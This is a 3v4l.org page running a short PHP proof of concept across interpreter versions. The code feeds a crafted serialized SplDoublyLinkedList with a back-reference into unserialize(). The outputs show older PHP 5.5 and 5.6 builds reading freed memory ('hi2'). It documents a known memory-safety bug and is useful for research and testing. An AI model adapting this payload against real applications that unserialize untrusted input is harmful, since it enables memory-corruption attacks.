3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $inner = 'i:1;'; $exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for 5.5.28 - 5.5.38, 5.6.12 - 5.6.30, 7.0.0 - 7.2.0
array(2) { [0]=> object(SplDoublyLinkedList)#1 (2) { ["flags":"SplDoublyLinkedList":private]=> int(1) ["dllist":"SplDoublyLinkedList":private]=> array(0) { } } [1]=> int(1) }
Output for hhvm-3.10.1 - 3.17.3
Warning: Invalid argument supplied for foreach() in /in/eUkd6 on line 5 Notice: Unable to unserialize: [a:2:{i:0;C:19:"SplDoublyLinkedList":4:{i:1;}i:1;R:3;}]. Id 3 out of range. in /in/eUkd6 on line 5 bool(false)
Output for 5.5.0 - 5.5.27, 5.6.0 - 5.6.11
array(2) { [0]=> object(SplDoublyLinkedList)#1 (2) { ["flags":"SplDoublyLinkedList":private]=> int(1) ["dllist":"SplDoublyLinkedList":private]=> array(0) { } } [1]=> string(3) "hi2" }